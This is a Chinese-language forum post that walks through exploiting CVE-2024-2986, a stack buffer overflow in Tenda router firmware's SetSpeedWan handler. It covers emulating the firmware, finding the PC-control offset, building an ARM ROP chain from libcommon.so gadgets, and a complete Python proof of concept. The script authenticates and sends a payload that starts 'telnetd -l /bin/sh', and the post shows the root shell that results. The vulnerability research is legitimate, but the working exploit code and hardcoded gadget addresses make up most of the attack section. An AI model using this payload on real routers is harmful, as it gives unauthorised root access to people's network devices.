找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

2031

积分

0

好友

271

主题
发表于 18 小时前 | 查看: 2| 回复: 0

CNVD 最近公开了漏洞 CNVD-2025-31165 (对应 CVE-2024-2986),其描述如下:

Tenda FH1202是腾达品牌推出的一款双频无线路由器,专为大户型家庭、小型办公室或商务休闲区域设计,旨在提供稳定的无线网络覆盖和高速传输。

Tenda FH1202存在堆栈缓冲区溢出漏洞,该漏洞源于/goform/SetSpeedWan文件的formSetSpeedWan方法的speed_dir参数未能正确验证输入数据的长度大小,攻击者可利用该漏洞在系统上执行任意代码或者导致拒绝服务。

相关的反编译代码如下,问题出在对用户输入的speed_dir参数未做长度检查便直接用于sprintf

int __fastcall formSetSpeedWan(_DWORD *a1)
{
  _DWORD nptr[8]; // [sp+10h] [bp-5Ch] BYREF
  _DWORD s[8]; // [sp+30h] [bp-3Ch] BYREF
  void *v5; // [sp+50h] [bp-1Ch]
  char *nptr_1; // [sp+54h] [bp-18h]
  char *nptr_2; // [sp+58h] [bp-14h]
  int v8; // [sp+5Ch] [bp-10h]

  memset(s, 0, sizeof(s));
  memset(nptr, 0, sizeof(nptr));
  v8 = 0;
  nptr_2 = (char *)sub_2BA8C((int)a1, (int)"speed_dir", (int)"0");
  nptr_1 = (char *)sub_2BA8C((int)a1, (int)"ucloud_enable", (int)"0");
  ...
  ...
  ...
  sprintf((char *)s, "{\"errorCode\":%d,\"speed_dir\":%s}", v8, nptr_2);
  return sub_9CCBC(a1, (const char *)s);
}

环境模拟

软件版本: AC15_V15.03.05.19

首先使用 binwalk 分析固件文件,确认其包含 Squashfs 文件系统。

binwalk US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
64            0x40            TRX firmware header, little endian, image size: 10629120 bytes, CRC32: 0xAB135998, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x1C9E58, rootfs offset: 0x0
92            0x5C            LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4585280 bytes
1875608       0x1C9E98        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 8749996 bytes, 928 inodes, blocksize: 131072 bytes, created: 2017-05-26 02:03:03

执行 binwalk -e -1 进行解压。

binwalk -e -1 US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
64            0x40            TRX firmware header, little endian, image size: 10629120 bytes, CRC32: 0xAB135998, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x1C9E58, rootfs offset: 0x0
92            0x5C            LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4585280 bytes
1875608       0x1C9E98        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 8749996 bytes, 928 inodes, blocksize: 131072 bytes, created: 2017-05-26 02:03:03

根据 ./etc_ro/init.d/rcS 脚本创建必要的环境目录。

mkdir -p /var/etc
mkdir -p /var/media
mkdir -p /var/webroot
mkdir -p /var/etc/iproute
mkdir -p /var/run
cp -rf /etc_ro/* /etc/
cp -rf /webroot_ro/* /webroot/
mkdir -p /var/etc/upan
mount -a

mount -t ramfs /dev
mkdir /dev/pts
mount -t devpts devpts /dev/pts
mount -t tmpfs none /var/etc/upan -o size=2M
mdev -s
mkdir /var/run

创建 br0 虚拟网卡。

ip link add name br0 type bridge
ip link set br0 up
ip addr add 192.168.3.3/24 dev br0

根据逆向分析 libCfm.soGetValue 函数,程序会通过一个 Unix Domain Socket 通信。我们需要模拟这个服务。通信的数据结构如下:

00000000 struct CMDINFO // sizeof=0x7E0
00000000 {                                              // XREF: CommitUrlCfm/r
00000000                                                 // CommitUrlCfm/r ...
00000000     int cmd;
00000004     char name[512];                     // XREF: CommitUrlCfm+70/o
00000004                                                 // CommitUrlCfm+B4/o ...
00000204     char value[1500];                   // XREF: GetValue+104/w
00000204                                                 // GetUrlValue+100/w ...
000007E0 };

编写一个 Python 脚本 uds_server.py 来创建并监听 /var/cfm_socket

import socket
import os
import time
import configparser
import struct

import hexdump

# --- 配置 ---
# SOCKET_PATH = '/var/cfm_socket'
# SOCKET_PATH = '/tmp/cfm_socket'
SOCKET_PATH = '/kctf/tenda/tendaac15/var/cfm_socket'

BUFFER_SIZE = 2016  # 定义一次接收的最大字节数

config = configparser.RawConfigParser()
config.read("default.ini", encoding='utf-8')

def parse_cmdinfo(data):
    # 检查数据长度
    if len(data) != 2016:
        raise ValueError("数据包大小不正确,应为2016字节")

    # 使用struct.unpack解析(格式:小端序整数 + 512字节字符串 + 1500字节字符串)
    cmd, name_bytes, value_bytes = struct.unpack('<i512s1500s', data)

    # 找到第一个0x00的位置并截断
    name_end = name_bytes.find(b'\x00')
    if name_end != -1:
        name_bytes = name_bytes[:name_end]

    value_end = value_bytes.find(b'\x00')
    if value_end != -1:
        value_bytes = value_bytes[:value_end]

    # 处理字符串:去除可能的null填充并解码(假设C发送的是ASCII字符串)
    name = name_bytes.rstrip(b'\x00').decode('ascii', errors='ignore')
    value = value_bytes.rstrip(b'\x00').decode('ascii', errors='ignore')

    return cmd, name, value

def pack_cmdinfo(cmd, name, value):
    """
    将cmd、name、value打包成2016字节的二进制数据
    :param cmd: int, 命令编号
    :param name: str, 名称(最多511字符,留1位给null)
    :param value: str, 值(最多1499字符,留1位给null)
    :return: bytes, 打包后的二进制数据
    """
    # 1. 转换为字节(假设C使用ASCII编码,实际可能是UTF-8或其他)
    name_bytes = name.encode('ascii')[:511]  # 截断超长部分
    value_bytes = value.encode('ascii')[:1499]

    # 2. 填充到固定大小(用null字节填充)
    name_padded = name_bytes + b'\x00' * (512 - len(name_bytes))
    value_padded = value_bytes + b'\x00' * (1500 - len(value_bytes))

    # 3. 打包(小端序,与解析时一致)
    # 格式:i (4字节整数) + 512s + 1500s
    packed = struct.pack('<i512s1500s', cmd, name_padded, value_padded)

    return packed

# --- 服务器逻辑 ---
def run_uds_server():
    # 1. 清理:如果套接字文件已存在,则删除它
    try:
        if os.path.exists(SOCKET_PATH):
            os.remove(SOCKET_PATH)
    except OSError as e:
        print(f"{e}")
        return

    # 2. 创建套接字
    server_socket = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)

    try:
        # 3. 绑定和监听
        server_socket.bind(SOCKET_PATH)
        server_socket.listen(5)  # 允许5个挂起连接

        # 4. 确保权限(可选,确保其他程序可以连接)
        os.chmod(SOCKET_PATH, 0o666)

        while True:
            # 5. 接受新连接
            conn, addr = server_socket.accept()

            try:
                while True:
                    # 6. 接收数据
                    received_data = conn.recv(BUFFER_SIZE)
                    if received_data:

                        # 打印接收到的数据
                        # hexdump.hexdump(received_data)
                        # print('\n')
                        cmd, name, value = parse_cmdinfo(received_data)
                        print(f"received_data-> cmd: {cmd} name: {name} value: {value}")

                        if value != "":
                            config.set('DEFAULT', name, value)

                        cmd = cmd + 1
                        value = config['DEFAULT'].get(name, '')
                        response_data = pack_cmdinfo(cmd, name, value)
                        print(f"response_data-> cmd: {cmd} name: {name} value: {value}")
                        # hexdump.hexdump(response_data)
                        # print('\n')
                        conn.sendall(response_data)

                    else:
                        time.sleep(1)
                        # print("No data received.")

            except Exception as e:
                print(f"{e}")

            finally:
                # 8. 关闭连接
                conn.close()

    except KeyboardInterrupt:
        print("Ctrl+C...")

    except Exception as e:
        print(f"{e}")

    finally:
        # 9. 最终清理

        # 将修改写入配置文件
        with open('default.ini', 'w', encoding='utf-8') as configfile:
            config.write(configfile)

        server_socket.close()
        if os.path.exists(SOCKET_PATH):
            os.remove(SOCKET_PATH)

if __name__ == "__main__":
    # 由于 /var 目录通常需要 root 权限,您需要使用 sudo 运行此脚本
    run_uds_server()

default.ini/webroot/default.cfg 转换而来。需要注意的是,客户端代码使用了长连接方式,断开后需要重启 uds_server.py

此外,我们还需要模拟固件中的 bcm_nvram_* 系列函数:

001114D0        bcm_nvram_set        .dynsym
001114EC        bcm_nvram_match        .dynsym
00111540        bcm_nvram_get        .dynsym
00111660        bcm_nvram_commit        .dynsym

编写一个 hook_nvram.c 文件来 Hook 这些 NVRAM 函数,将它们重定向到操作本地配置文件:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// #include <ctype.h>
#include <stdbool.h>
#include <errno.h>

// 假设配置文件路径
#define ROUTE_CONFIG_PATH "/tmp/nvram_default.cfg"
#define MAX_LINE_LENGTH 256
#define MAX_KEY_LENGTH 64
#define MAX_VALUE_LENGTH 128

#define isspace(c) my_isspace(c)
int my_isspace(int c) {
// 标准 C 定义的空白字符:空格、制表符、换行、回车、换页、垂直制表符
return (c == ' ' ||
            c == '\t' ||
            c == '\n' ||
            c == '\r' ||
            c == '\f' ||
            c == '\v');
}

int bcm_nvram_set(const char *key, const char *value){
    FILE *fp_read, *fp_write;
    char line[MAX_LINE_LENGTH];
    char config_key[MAX_KEY_LENGTH];
    char config_value[MAX_VALUE_LENGTH];
    char temp_file[] = "/tmp/nvram.ini.tmp";
    int found = 0;
    int result = 0;

    // 参数检查
    if (!key || strlen(key) == 0 || !value) {
        fprintf(stderr, "Error: Invalid key or value parameter\n");
        return 1;
    }

    // 验证key不包含等号或换行符
    if (strchr(key, '=') != NULL || strchr(key, '\n') != NULL) {
        fprintf(stderr, "Error: Key contains invalid characters\n");
        return 1;
    }

    // 验证value不包含换行符
    if (strchr(value, '\n') != NULL) {
        fprintf(stderr, "Error: Value contains newline character\n");
        return 1;
    }

    // 打开原配置文件用于读取
    fp_read = fopen(ROUTE_CONFIG_PATH, "r");

    // 创建临时文件用于写入
    fp_write = fopen(temp_file, "w");
    if (fp_write == NULL) {
        fprintf(stderr, "Error: Cannot create temp file: %s\n", strerror(errno));
        if (fp_read) fclose(fp_read);
        return 1;
    }

    // 如果原文件存在,逐行处理
    if (fp_read != NULL) {
        while (fgets(line, sizeof(line), fp_read) != NULL) {
            char *trimmed_line = line;
            bool is_comment_or_empty = false;

            // 移除换行符
            line[strcspn(line, "\n")] = '\0';

            // 跳过空行和注释行(以#开头)
            if (line[0] == '\0' || line[0] == '#') {
                is_comment_or_empty = true;
            }

            // 移除行首空白字符
            while (isspace((unsigned char)*trimmed_line)) {
                trimmed_line++;
            }

            // 跳过只有空白字符的行
            if (*trimmed_line == '\0') {
                is_comment_or_empty = true;
            }

            // 如果是注释或空行,直接写入临时文件
            if (is_comment_or_empty) {
                fprintf(fp_write, "%s\n", line);
                continue;
            }

            // 解析 key=value 格式
            if (sscanf(trimmed_line, "%63[^=]=%127[^\n]", config_key, config_value) >= 1) {
                // 去除键名可能的尾部空白
                char *trimmed_key = config_key + strlen(config_key) - 1;
                while (trimmed_key > config_key && isspace((unsigned char)*trimmed_key)) {
                    *trimmed_key = '\0';
                    trimmed_key--;
                }

                // 检查是否匹配请求的键
                if (strcmp(config_key, key) == 0) {
                    // 找到匹配的键,写入新的值
                    fprintf(fp_write, "%s=%s\n", key, value);
                    found = 1;
                } else {
                    // 不是我们要修改的键,原样写入
                    fprintf(fp_write, "%s\n", line);
                }
            } else {
                // 格式错误的行,原样写入
                fprintf(fp_write, "%s\n", line);
            }
        }

        fclose(fp_read);
    }

    // 如果没找到键,在文件末尾添加
    if (!found) {
        fprintf(fp_write, "%s=%s\n", key, value);
    }

    // 关闭临时文件
    fclose(fp_write);

    // 用临时文件替换原文件
    if (rename(temp_file, ROUTE_CONFIG_PATH) != 0) {
        fprintf(stderr, "Error: Cannot replace config file: %s\n", strerror(errno));
        // 尝试删除临时文件
        remove(temp_file);
        result = 1;
    }

    printf("[DEBUG] Setting config: %s = %s\n", key, value);
    return result;
}

char *bcm_nvram_get(const char *key){
    FILE *fp;
    char line[MAX_LINE_LENGTH];
    char config_key[MAX_KEY_LENGTH];
    char config_value[MAX_VALUE_LENGTH];
    char *result = NULL;
    int found = 0;

    // 参数检查
    if (!key || strlen(key) == 0) {
        fprintf(stderr, "Error: Invalid key parameter\n");
        return NULL;
    }

    // 打开配置文件
    fp = fopen(ROUTE_CONFIG_PATH, "r");
    if (fp == NULL) {
        fprintf(stderr, "Error: Cannot open config file %s: %s\n", ROUTE_CONFIG_PATH, strerror(errno));
        return NULL;
    }

    // 逐行读取配置文件
    while (fgets(line, sizeof(line), fp) != NULL) {
        // 移除换行符
        line[strcspn(line, "\n")] = '\0';

        // 跳过空行和注释
        if (line[0] == '\0' || line[0] == '#') {
            continue;
        }

        // 移除行首空白字符
        char *trimmed_line = line;
        while (isspace((unsigned char)*trimmed_line)) {
            trimmed_line++;
        }

        // 跳过空行(只有空白字符的行)
        if (*trimmed_line == '\0') {
            continue;
        }

        // 解析 key=value 格式
        if (sscanf(trimmed_line, "%63[^=]=%127[^\n]", config_key, config_value) == 2) {
            // 去除键名可能的尾部空白
            char *trimmed_key = config_key + strlen(config_key) - 1;
            while (trimmed_key > config_key && isspace((unsigned char)*trimmed_key)) {
                *trimmed_key = '\0';
                trimmed_key--;
            }

            // 去除键值可能的首部空白
            char *trimmed_value = config_value;
            while (isspace((unsigned char)*trimmed_value)) {
                trimmed_value++;
            }

            // 去除键值可能的尾部空白
            char *end_value = trimmed_value + strlen(trimmed_value) - 1;
            while (end_value > trimmed_value && isspace((unsigned char)*end_value)) {
                *end_value = '\0';
                end_value--;
            }

            // 检查是否匹配请求的键
            if (strcmp(config_key, key) == 0) {
                // 分配内存并复制值
                result = malloc(strlen(trimmed_value) + 1);
                if (result) {
                    strcpy(result, trimmed_value);
                    found = 1;
                } else {
                    fprintf(stderr, "Error: Memory allocation failed\n");
                }
                break;  // 找到配置项,退出循环
            }
        }
    }

    fclose(fp);

    if (result) {
        printf("[DEBUG] Getting config: %s = %s\n", key, result);
    } else {
        result = "";
        printf("[DEBUG] Config not found: %s\n", key);
    }

    if (!found) {
        // 不打印警告,让调用者决定是否记录
        result = "";
    }

    return result;
}

bool bcm_nvram_match(const char *key, const char *value){
    bool result = false;
    char *config_value = bcm_nvram_get(key);

    if (config_value && value) {
        result = (strcmp(config_value, value) == 0);
    }

    printf("[DEBUG] Match config: %s = %s, result: %s\n",
           key, value, result ? "true" : "false");

    if (config_value) {
        free(config_value);
    }

    return result;
}

int bcm_nvram_commit(void){
#ifdef __linux__
    sync();
#endif

    printf("[DEBUG] Save config\n");
    return 0;
}

int bcm_nvram_unset(const char *key){
    FILE *fp_read, *fp_write;
    char line[MAX_LINE_LENGTH];
    char config_key[MAX_KEY_LENGTH];
    char config_value[MAX_VALUE_LENGTH];
    char temp_file[] = "/tmp/route.cfg.tmp";
    int found = 0;
    int result = 0;

    // 参数检查
    if (!key || strlen(key) == 0) {
        fprintf(stderr, "Error: Invalid key parameter\n");
        return 1;
    }

    // 打开原配置文件用于读取
    fp_read = fopen(ROUTE_CONFIG_PATH, "r");
    if (fp_read == NULL) {
        // 文件不存在,不需要删除
        printf("[DEBUG] Unset config: %s (file not exists)\n", key);
        return 0;
    }

    // 创建临时文件用于写入
    fp_write = fopen(temp_file, "w");
    if (fp_write == NULL) {
        fprintf(stderr, "Error: Cannot create temp file: %s\n", strerror(errno));
        fclose(fp_read);
        return 1;
    }

    // 逐行读取原文件
    while (fgets(line, sizeof(line), fp_read) != NULL) {
        char *trimmed_line = line;
        bool is_comment_or_empty = false;

        // 移除换行符
        line[strcspn(line, "\n")] = '\0';

        // 跳过空行和注释行(以#开头)
        if (line[0] == '\0' || line[0] == '#') {
            is_comment_or_empty = true;
        }

        // 移除行首空白字符
        while (isspace((unsigned char)*trimmed_line)) {
            trimmed_line++;
        }

        // 跳过只有空白字符的行
        if (*trimmed_line == '\0') {
            is_comment_or_empty = true;
        }

        // 如果是注释或空行,直接写入临时文件
        if (is_comment_or_empty) {
            fprintf(fp_write, "%s\n", line);
            continue;
        }

        // 解析 key=value 格式
        if (sscanf(trimmed_line, "%63[^=]=%127[^\n]", config_key, config_value) == 2) {
            // 去除键名可能的尾部空白
            char *trimmed_key = config_key + strlen(config_key) - 1;
            while (trimmed_key > config_key && isspace((unsigned char)*trimmed_key)) {
                *trimmed_key = '\0';
                trimmed_key--;
            }

            // 检查是否匹配请求的键
            if (strcmp(config_key, key) == 0) {
                // 找到匹配的键,跳过不写入(即删除)
                found = 1;
                continue;
            } else {
                // 不是我们要删除的键,原样写入
                fprintf(fp_write, "%s\n", line);
            }
        } else {
            // 格式错误的行,原样写入
            fprintf(fp_write, "%s\n", line);
        }
    }

    // 关闭文件
    fclose(fp_read);
    fclose(fp_write);

    // 用临时文件替换原文件
    if (rename(temp_file, ROUTE_CONFIG_PATH) != 0) {
        fprintf(stderr, "Error: Cannot replace config file: %s\n", strerror(errno));
        // 尝试删除临时文件
        remove(temp_file);
        result = 1;
    }

    printf("[DEBUG] Unset config: %s %s\n", key, found ? "deleted" : "not found");
    return result;
}

/tmp/nvram_default.cfg/webroot/nvram_default.cfg 复制而来。

接下来查看 httpd 使用的编译环境,确认其为 ARM 架构,并使用 uClibc 作为 C 标准库。

strings bin/httpd | grep "GCC"
GCC_3.5
GCC: (GNU) 3.3.2 20031005 (Debian prerelease)
GCC: (Buildroot 2012.02) 4.5.3

根据 GitHub 上的 buildroot 项目,编译生成支持 ARMv7 + uClibc + soft-float 的交叉编译工具链,然后编译我们的 Hook 库。

编译命令如下:

./buildroot/output/host/bin/arm-linux-gcc -shared -fPIC hook_nvram.c -o hook_nvram.so -ldl

生成的 hook_nvram.so 是一个 ARM 动态库。

环境搭建完成后,启动模拟服务:

  1. 运行 python ./uds_server.py 创建 Unix Domain Socket。
  2. 使用 sudo chroot . bin/sh 进入固件目录环境。
  3. 通过 LD_PRELOAD=/tmp/hook_nvram.so /bin/httpd 启动 HTTP 服务。
python ./uds_server.py

~ # LD_PRELOAD=/tmp/hook_nvram.so /bin/httpd
init_core_dump 1816: rlim_cur = 0, rlim_max = 0
init_core_dump 1825: open core dump success
init_core_dump 1834: rlim_cur = 5242880, rlim_max = 5242880

Yes:
****** WeLoveLinux******

Welcome to ...
create socket  fail -1
[httpd][debug]----------------------------webs.c,157
httpd listen ip = 192.168.3.3 port = 80
webs:Listening for HTTP requests at address 192.168.3.3

访问 http://192.168.3.3/login.html,可以看到路由器的登录页面。

Tenda路由器登录页面

漏洞利用

在开始利用之前,先查看 httpd 程序启用的安全防护措施。

checksec ./bin/httpd
  • '/home/chialin/kctf/tenda/tendaac15/bin/httpd'     Arch:     arm-32-little     RELRO:    No RELRO     Stack:    No canary found     NX:       NX enabled     PIE:      No PIE (0x8000)
  • 可以看到,程序没有开启栈保护(Canary)和地址随机化(PIE),这为利用堆栈缓冲区溢出漏洞提供了便利,但开启了NX(不可执行),意味着我们不能直接在栈上执行代码,需要借助ROP技术。

    使用调试模式启动 httpd,并在漏洞触发点 0x0061998BL sprintf 处设置断点。gdb.txt 加载脚本内容如下:

    file /kctf/tenda/tendaac15/bin/httpd
    set sysroot /kctf/tenda/tendaac15
    target remote 127.0.0.1:1234
    b *0x00061998

    启动流程:

    1. 重启 python ./uds_server.py
    2. 运行 sudo chroot . qemu-arm-static -g 1234 -E LD_PRELOAD=/tmp/hook_nvram.so /bin/httpd 以调试模式启动。
    3. 运行 gdb-multiarch -x gdb.txt 连接调试器。

    程序会停在 _start 入口处。

    GDB调试启动界面

    使用 cyclic 生成测试字符串,并通过 Python POC 脚本发送 HTTP 请求。

    pwndbg> cyclic 0xff
    aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaa

    程序成功在 sprintf@plt 函数处中断。

    GDB调试器在sprintf处中断

    查看目的地址 0x407ff9f8 在溢出发生前的栈数据。

    sprintf调用前的栈数据

    执行 sprintf 后的栈数据如下,可以看到测试字符串已经覆盖了栈上的内容。

    sprintf调用后的栈数据

    单步运行到 formSetSpeedWan 函数结束处。

    函数返回前的栈与寄存器状态

    可以看到,最终寄存器 R11 的值 0x407ffa34 指向的数据 0x61616a61 ('ajaa') 被弹出了栈。这个值控制了 PC 寄存器。通过计算偏移,我们找到控制 PC 的偏移是 35。

    pwndbg> cyclic -l ajaa
    Finding cyclic pattern of 4 bytes: b'ajaa' (hex: 0x616a6161)
    Found at offset 35

    我们的目标是执行 system 函数来启动一个反向 shell 或 telnet 服务。但这需要控制 R0 寄存器指向命令字符串的地址,并且 system 函数返回后(POP {R4,PC}),还需要一个有效的地址弹入 PC 以保持程序不崩溃。

    更好的方法是寻找一个形如 BL system 的 gadget,它会自动将返回地址设置到 LR。我们在 libcommon.so 中找到了 doSystemCmd 函数,它内部调用了 system。其调用点 flush_dns_cache 附近的代码非常适合用作ROP链的一部分:

    .text:00009A4C                 MOV             R0, R3
    .text:00009A50                 BL              j_doSystemCmd
    .text:00009A54                 POP             {R3,R4,R11,PC}

    这段代码非常完美:它将 R3 的值赋给 R0(作为 system 的参数),然后调用 doSystemCmd,最后弹出栈上的值到 R3, R4, R11, PC。这意味着我们可以通过栈来完全控制 R3(即命令地址)和函数返回后的执行流(PC)。

    我们使用 ROPgadgetlibcommon.so 中寻找设置 R3 的指令。

    ROPgadget --binary ./lib/libcommon.so --only "pop"
    Gadgets information
    ============================================================
    0x00003e58 : pop {fp, pc}
    0x00015be4 : pop {r1, pc}
    0x00009a54 : pop {r3, r4, fp, pc}
    0x00015c20 : pop {r3, r4, r5, r6, r7, pc}
    0x00003454 : pop {r4, fp, pc}
    0x00003350 : pop {r4, pc}
    0x00004570 : pop {r4, r5, fp, pc}
    0x00006cf8 : pop {r4, r5, r6, fp, pc}
    0x000160c0 : pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
    0x0000ab98 : pop {r4, r5, r6, r7, r8, sl, fp, pc}
    
    Unique gadgets found: 10

    我们选择 0x00015c20 : pop {r3, r4, r5, r6, r7, pc} 作为设置 R3 的 gadget。

    结合 vmmapinfo sharedlibrary 的信息,计算得到:

    • libcommon.so 的基址为 0x40854000
    • libc.so.0 的基址为 0x409EB000

    调试信息显示库基址和gadget地址

    因此,关键地址计算如下:

    • pop_r3_gadget = 0x40854000 + 0x00015c20 = 0x40869C20
    • doSystemCmd 调用点 = 0x40854000 + 0x00009A4C = 0x4085DA4C
    • libc.so.0_exit 函数地址 = 0x409EB000 + 0x00000904 = 0x40A00904

    我们需要将命令字符串 telnetd -l /bin/sh 也放置在栈上可控的位置,例如 0x407ffa14

    最终,精心构造的栈布局如下所示:

    构造的ROP栈布局

    另外,为了使 telnetd 服务能正常工作,还需要在模拟环境中挂载 devpts 文件系统,否则会提示 telnetd: can't find free pty

    sudo mount -o bind /dev ./dev/
    sudo mount -t devpts devpts ./dev/pts

    运行最终的漏洞利用 POC 脚本后,可以查看进程信息,确认 telnetd 服务已启动。

    ps -aux | grep telnetd
    root        5799  0.0  0.0 4404548 5872 ?        Ssl  00:51   0:00 /usr/libexec/qemu-binfmt/arm-binfmt-P /usr/sbin/telnetd telnetd -l /bin/sh

    使用 telnet 连接路由器,成功获得 root 权限的 shell。

    telnet 192.168.3.3
    Trying 192.168.3.3...
    Connected to 192.168.3.3.
    Escape character is '^]'.
    ~ # ls -la
    total 64
    drwxr-xr-x   15 1000     1000          4096 Jan  2 16:45 .
    drwxr-xr-x   15 1000     1000          4096 Jan  2 16:45 ..
    -rw-------    1 1000     1000          2819 Jan  2 16:45 .gdb_history
    drwxr-xr-x    2 1000     1000          4096 Dec 26 14:28 bin
    drwxr-xr-x    2 1000     1000          4096 Dec 26 06:48 cfg
    drwxr-xr-x   15 root     root          3860 Jan  1 15:29 dev
    lrwxrwxrwx    1 1000     1000             8 Dec 26 06:48 etc -> /var/etc
    drwxr-xr-x    8 1000     1000          4096 Dec 26 06:48 etc_ro
    -rw-r--r--    1 1000     1000           154 Jan  1 15:34 gdb.txt
    lrwxrwxrwx    1 1000     1000             9 Dec 26 06:48 home -> /var/home
    lrwxrwxrwx    1 1000     1000            11 Dec 26 06:48 init -> bin/busybox
    drwxr-xr-x    3 1000     1000          4096 Dec 26 06:48 lib
    drwxr-xr-x    2 1000     1000          4096 Dec 26 06:48 mnt
    drwxr-xr-x    3 1000     1000          4096 Dec 26 06:48 proc
    lrwxrwxrwx    1 1000     1000             9 Dec 26 06:48 root -> /var/root
    drwxr-xr-x    2 1000     1000          4096 Dec 26 06:48 sbin
    drwxr-xr-x    2 1000     1000          4096 Dec 26 06:48 sys
    drwxr-xr-x    2 1000     1000          4096 Dec 30 06:27 tmp
    drwxr-xr-x    6 1000     1000          4096 Dec 26 06:48 usr
    drwxr-xr-x    8 1000     1000          4096 Jan  2 16:45 var
    lrwxrwxrwx    1 1000     1000            11 Dec 26 06:48 webroot -> var/webroot
    drwxr-xr-x    8 1000     1000          4096 Dec 26 06:48 webroot_ro

    完整的漏洞利用 POC 代码如下:

    import requests
    from pwn import *
    
    def execute_overflow(session, url):
        # 准备恶意请求参数,构造ROP链
        telnet = b'aaatelnetd -l /bin/sh|aagaaahaaaiaa'
        pop_r3 = 0x40869C20
        args = 0x407ffa14
        doSystemCmd = 0x4085DA4C
        exit = 0x40A00904
        end = 0x00000000
        speed_dir = telnet + p32(pop_r3) + p32(args) * 5  + p32(doSystemCmd) + p32(args) * 3 + p32(exit) + p32(end)
    
        attack_params = {
            # "speed_dir": cyclic(0xFF) # 用于计算偏移的测试数据
            "speed_dir": speed_dir
        }
    
        # 发送恶意请求
        server_response = session.get(url, params=attack_params)
    
        # 显示服务器响应
        print("HTTP Status:", server_response.status_code)
        print("Response Content:", server_response.text)
    
    def execute_login(session, login_url, username, password):
    
        data = {
            "username": username,
            "password": password
        }
    
        server_response = session.post(login_url, data=data)
        # 显示服务器响应
        print("HTTP Status:", server_response.status_code)
        # print("Response Content:", server_response.text)
        print("Response Cookies:", session.cookies.get('password'))
    
    if __name__ == "__main__":
    
        session = requests.Session()
        login_url = "http://192.168.3.3/login/Auth"
        username = "admin"
        password = "4fc0296a51e6d90c794c91951886dc2b"
        execute_login(session, login_url, username, password)
    
        # 目标漏洞端点
        target_url = "http://192.168.3.3/goform/SetSpeedWan"
        # 执行攻击
        execute_overflow(session, target_url)

    总结与思考

    本次对 Tenda AC15 路由器固件漏洞的分析,展示了一个典型的因sprintf函数使用不当导致的堆栈缓冲区溢出漏洞的完整挖掘与利用过程。由于目标程序开启了NX保护,我们通过精心构造ROP链,成功绕过了防护,实现了任意命令执行。

    整个流程从固件解包、模拟环境搭建,到漏洞定位、偏移计算,再到利用ROPgadget进行ARM架构下的ROP链构造,每一步都涉及对逆向工程和二进制安全的深入理解。对于嵌入式设备安全研究人员而言,掌握此类从分析到利用的完整技能链至关重要。同时,这也警示开发者在处理用户输入,尤其是在C/C++等语言中使用strcpysprintf等不安全的字符串函数时,必须进行严格的边界检查。

    想要深入了解二进制安全、逆向工程和漏洞挖掘的更多技术细节,可以关注云栈社区的相关板块,与更多安全爱好者交流学习。




    上一篇:网络攻击应急响应实战指南:CIO必须采取的后续5大关键步骤
    下一篇:iOS漏洞套件Coruna攻击链分析:从WebKit到内核的跨版本威胁与防御
    您需要登录后才可以回帖 登录 | 立即注册

    手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

    GMT+8, 2026-3-5 21:44 , Processed in 0.392509 second(s), 42 queries , Gzip On.

    Powered by Discuz! X3.5

    © 2025-2026 云栈社区.

    快速回复 返回顶部 返回列表